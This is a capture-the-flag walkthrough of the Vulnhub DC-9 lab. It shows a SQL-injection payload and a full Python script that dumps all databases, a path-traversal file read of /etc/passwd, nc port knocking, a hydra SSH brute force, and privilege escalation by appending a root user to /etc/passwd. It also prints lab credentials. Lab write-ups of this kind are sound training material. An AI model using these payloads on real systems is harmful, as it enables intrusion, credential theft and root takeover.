Vulnhub Writeup - DC: 9
You can find the box on Vulnhub here
DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.
Initial Recon
nmap host scan to discover the boxes IP
nmap -sn 192.168.110.0/24
autorecon to run a full nmap and some other tools on the machine
sudo autorecon 192.168.110.130
A few things to note from the nmap-full tcp scan and the nikto scan
- /config.php exists (blank from front end)
- port 80/HTTP open
- port 22/SSH is filtered remember this!
- Apache/2.4.38 (Debian)
Website
A gobuster scan of the site reveals a bunch of php files to browse to
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html,txt,bak -u http://192.168.110.130/
Browsing around the site leads to a few initial findings to investigate
- possible sqli on search.php / results.php
- possible sqli on manage.php (login)
- possible brute force on manage.php (login)
- possible usernames on display.php
At this point, I reset the box as I had left some junk in the database. From now on the machine is at 192.168.110.150.
Here is a normal search
SQL Injection in results.php
Setting up a burp intruder scan to check for SQLi. Send a normal search through Burpsuite, choose the relevant POST request in HTTP History tab and send to intruder with Ctrl + I
Loading quick-SQLi.txt from seclists
After clicking start attack and waiting for the results, sorting by the Length column shows some interesting results. Results here that are 1248 bytes are “0 results” responses. Results at 1359 bytes are showing the single result of Barney Rubble and results that are 3357 bytes are showing all results from the table.
The most interesting result is when sending the admin' or '1'='1'#. This shows us that this is a valid SQL injection. The POST data search=barneyadmin'%20or%20'1'%3d'1'# or search=barneyadmin' or '1'='1'# returns all of the results from the table. A possible SQL query that this might end up as could be
SELECT * From users WHERE firstname = 'barneyadmin' OR '1'='1'#
It also shows that # is being treated as a comment character and removes any additional strings from the query. This means it can likely be used to dump the whole database.
Manual SQL Injection & not-sqlmap.py
Since I’m studying for OSCP, I won’t use SQLmap here and will instead manually dump the database by writing a script. First step is to get a valid SQL statement that can be used to return data from other tables. For this I will use the UNION SELECT method.
To craft a valid UNION SELECT, it’s first required to find the number of columns in the original query. To do this, ORDER BY can be used.
Since there are at least 5 columns being returned to the UI, I’ll start by trying ORDER BY 5
I’ll enter this into the search box
' OR '1'='1' ORDER BY 5#
This results in the output being ordered by the Phone Number column. ORDER BY 6 results in sorting by email
search ordered by phone number using ' OR '1'='1' ORDER BY 5#
Ordering by 7 shows 0 results so this likely was an invalid SQL statement
So we can gather the original statement returns 6 columns and therefore a valid UNION SELECT statement would be
' OR '1'='1' UNION SELECT 1,2,3,4,5,@@version#
This means it’s possible to return arbitrary data from the database.
Following from this, the concat keyword can be used to join results into a single column and therefore any data can be extracted.
Using this logic, I put together a python script to dump all DBs on the system.
#!/usr/bin/python3
import requests
import urllib.parse
import re
from tabulate import tabulate
import colorama
from colorama import Fore, Style
baseUrl="http://192.168.110.150/results.php"
endPattern = re.compile(r'<\|end')
startStr = 'start|>'
def getTables(baseUrl, endPattern, startStr, dbName):
searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>',table_name,'<|end'),5,6 from information_schema.tables WHERE table_schema='" + dbName + "'" + "#"}
x = requests.post(baseUrl, data = searchData)
rawLines=x.text.split(startStr)
array=[]
for line in rawLines:
if endPattern.search(line):
rarifiedLine=line.split('<|end')[0]
array+=re.split(',',rarifiedLine)
return array
#print(getTables(baseUrl,endPattern,startStr,"oscommerce"))
def getColumns(baseUrl, endPattern, startStr, dbName, tableName):
searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>',column_name,'<|end'),5,6 from information_schema.columns WHERE table_name='" + tableName + "'" + "#"}
x = requests.post(baseUrl, data = searchData)
rawLines=x.text.split(startStr)
array=[]
for line in rawLines:
if endPattern.search(line):
rarifiedLine=line.split('<|end')[0]
array+=re.split(',',rarifiedLine)
return array
#print(getTables(baseUrl,endPattern,startStr,"oscommerce"))
def dumpTable(baseUrl, endPattern, startStr, dbName, tableName):
cols = getColumns(baseUrl,endPattern,startStr,dbName,tableName)
colstr=",',',".join(cols)
array=[[]]
searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>'," + colstr + ",'<|end'),5,6 from " + dbName + "." + tableName + "#"}
#input("Continue [Enter]: ")
x = requests.post(baseUrl, data = searchData)
rawLines=x.text.split(startStr)
for line in rawLines:
if endPattern.search(line):
rarifiedLine=line.split('<|end')[0]
array.append(re.split(',',rarifiedLine))
print(tabulate(array, headers=cols))
return
#dumpTable(baseUrl,endPattern,startStr,"oscommerce","osc_administrators")
def dumpDb(baseUrl, endPattern, startStr, dbName):
tables=getTables(baseUrl,endPattern,startStr,dbName)
for table in tables:
print(Style.RESET_ALL)
print(Fore.YELLOW + table)
print(Style.RESET_ALL)
dumpTable(baseUrl,endPattern,startStr,dbName,table)
input("Continue [Enter]: ")
return
#dumpDb(baseUrl,endPattern,startStr,"oscommerce")
def getDbs(baseUrl, endPattern, startStr):
searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>',schema_name,'<|end'),5,6 from information_schema.schemata" + "#"}
x = requests.post(baseUrl, data = searchData)
rawLines=x.text.split(startStr)
array=[]
for line in rawLines:
if endPattern.search(line):
rarifiedLine=line.split('<|end')[0]
array+=re.split(',',rarifiedLine)
response=""
while response.lower() != 'q':
for count in range(0,len(array)):
print("[" + str(count) + "] " + array[count])
print("[Q] Quit")
response = input("Enter Selection: ")
if response.isnumeric():
if int(response) < len(array):
dumpDb(baseUrl,endPattern,startStr,array[int(response)])
return
getDbs(baseUrl,endPattern,startStr)
Running this script, I can dump database tables and other interesting information.
db version
10.3.17-MariaDB-0+deb10u1
admin password hash in “Staff” db is as follows. It can be cracked easily at crackstation.net
856f5de590ef37314e7c3bdf6f8a66dc md5 transorbital1
UserDetails table has some plaintext passwords
id firstname lastname username password reg_date
---- ----------- ---------- ---------- ------------- -------------------
1 Mary Moe marym 3kfs86sfd 2019-12-29 16:58:26
2 Julie Dooley julied 468sfdfsd2 2019-12-29 16:58:26
3 Fred Flintstone fredf 4sfd87sfd1 2019-12-29 16:58:26
4 Barney Rubble barneyr RocksOff 2019-12-29 16:58:26
5 Tom Cat tomc TC&TheBoyz 2019-12-29 16:58:26
6 Jerry Mouse jerrym B8m#48sd 2019-12-29 16:58:26
7 Wilma Flintstone wilmaf Pebbles 2019-12-29 16:58:26
8 Betty Rubble bettyr BamBam01 2019-12-29 16:58:26
9 Chandler Bing chandlerb UrAG0D! 2019-12-29 16:58:26
10 Joey Tribbiani joeyt Passw0rd 2019-12-29 16:58:26
11 Rachel Green rachelg yN72#dsd 2019-12-29 16:58:26
12 Ross Geller rossg ILoveRachel 2019-12-29 16:58:26
13 Monica Geller monicag 3248dsds7s 2019-12-29 16:58:26
14 Phoebe Buffay phoebeb smellycats 2019-12-29 16:58:26
15 Scooter McScoots scoots YR3BVxxxw87 2019-12-29 16:58:26
16 Donald Trump janitor Ilovepeepee 2019-12-29 16:58:26
17 Scott Morrison janitor2 Hawaii-Five-0 2019-12-29 16:58:28
Logging in as admin user & Local File Inclusion
Logging in as admin on /manage.php gives some extra functionality to add items to the database. But one thing caught my eye on the page - “File does not exist”. This hints at a possible Local File Inclusion (LFI) vulnerability.
I tried a few things in here
http://192.168.110.150/welcome.php?file=/etc/passwd
http://192.168.110.150/welcome.php?file=index.php
http://192.168.110.150/welcome.php?file=/var/www/html/index/php
None of these worked, but the standard ../../../../../../../ works!
http://192.168.110.150/welcome.php?file=../../../../../../../etc/passwd
I went through the high on coffee LFI cheatsheet and found some interesting stuff but nothing that could get code execution. /proc/self/fd/13 appears to show the PHP Session information so I wondered if I could change the logged in username somehow.
myusername|s:5:"admin";logged_in_user_name|s:5:"admin";display_errors|s:3:"yes";
If it was possible to change the username from admin to <?php phpinfo(); ?> then maybe I could get code execution here.
Unfortunately that was a dead end and I had to get a hint at this point to continue the box. Remember that port 22 is filtered? This is a hint that port knocking might be in use on the box. The default location on Debian for the knockd.conf file is /etc/knockd.conf.
Someone’s knocking on the door
The OpenSSH sequence is as follows
[openSSH] sequence = 7469,8475,9842
So I ran the following to open up the ssh port, running nc will attempt to open a connection to each port in order and hopefully open the SSH port.
nc -w 1 192.168.110.150 7469; nc -w 1 192.168.110.150 8475; nc -w 1 192.168.110.150 9842
SSH Brute force
Cool. So now SSH is open, the username / password combinations found in the database can be used to attempt a brute force attack using hydra.
I dumped the username column found in the UserDetails table above into usernames.txt. Same for passwords into passwords.txt. I also included root and admin in the usernames file and transorbital1 in the passwords file.
Hydra SSH brute force, using 4 threads as per recommendation from hydra help.
hydra ssh://192.168.110.150 -L ./usernames.txt -P ./passwords.txt -T4
OK so 3 accounts to try out on the box. After logging into each user and checking the home folders, there is a hidden directory in janitor’s home folder with some additional passwords.
Adding the unique ones to the passwords.txt and re-running hydra reveals a new account
One of the first things I run as a user on a box is sudo -l before running any recon scripts, in this case it’s lucky!
Trying out the binary
Using file /opt/devstuff/dist/test/test shows that this is a linux ELF binary. it appears the binary will read one file and append another. I created 2 test files and ran the binary against them. It appears to append the contents of the file in the first argument to the file in the second argument.
running with sudo permissions shows that root is writing the file.
A method to gain root privileges with a write-as-root ability is to add a new user to the /etc/passwd file.
generate a password hash with openssl
openssl passwd -1 -salt salt pass123
$1$salt$wYA1OLWmuL0.PdCmjvhHV0
create a new file called append-user.txt with the new user account and password hash as follows
newuser:$1$salt$wYA1OLWmuL0.PdCmjvhHV0:0:0:newuser:/root:/bin/bash
run the append script with sudo
sudo /opt/devstuff/dist/test/test append-user.txt /etc/passwd
su to the new user with password pass123 as above
fredf@dc-9:~$ su newuser
Password:
root@dc-9:/home/fredf# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-9:/home/fredf#
And we’re done. Thanks for reading!
Written with StackEdit.
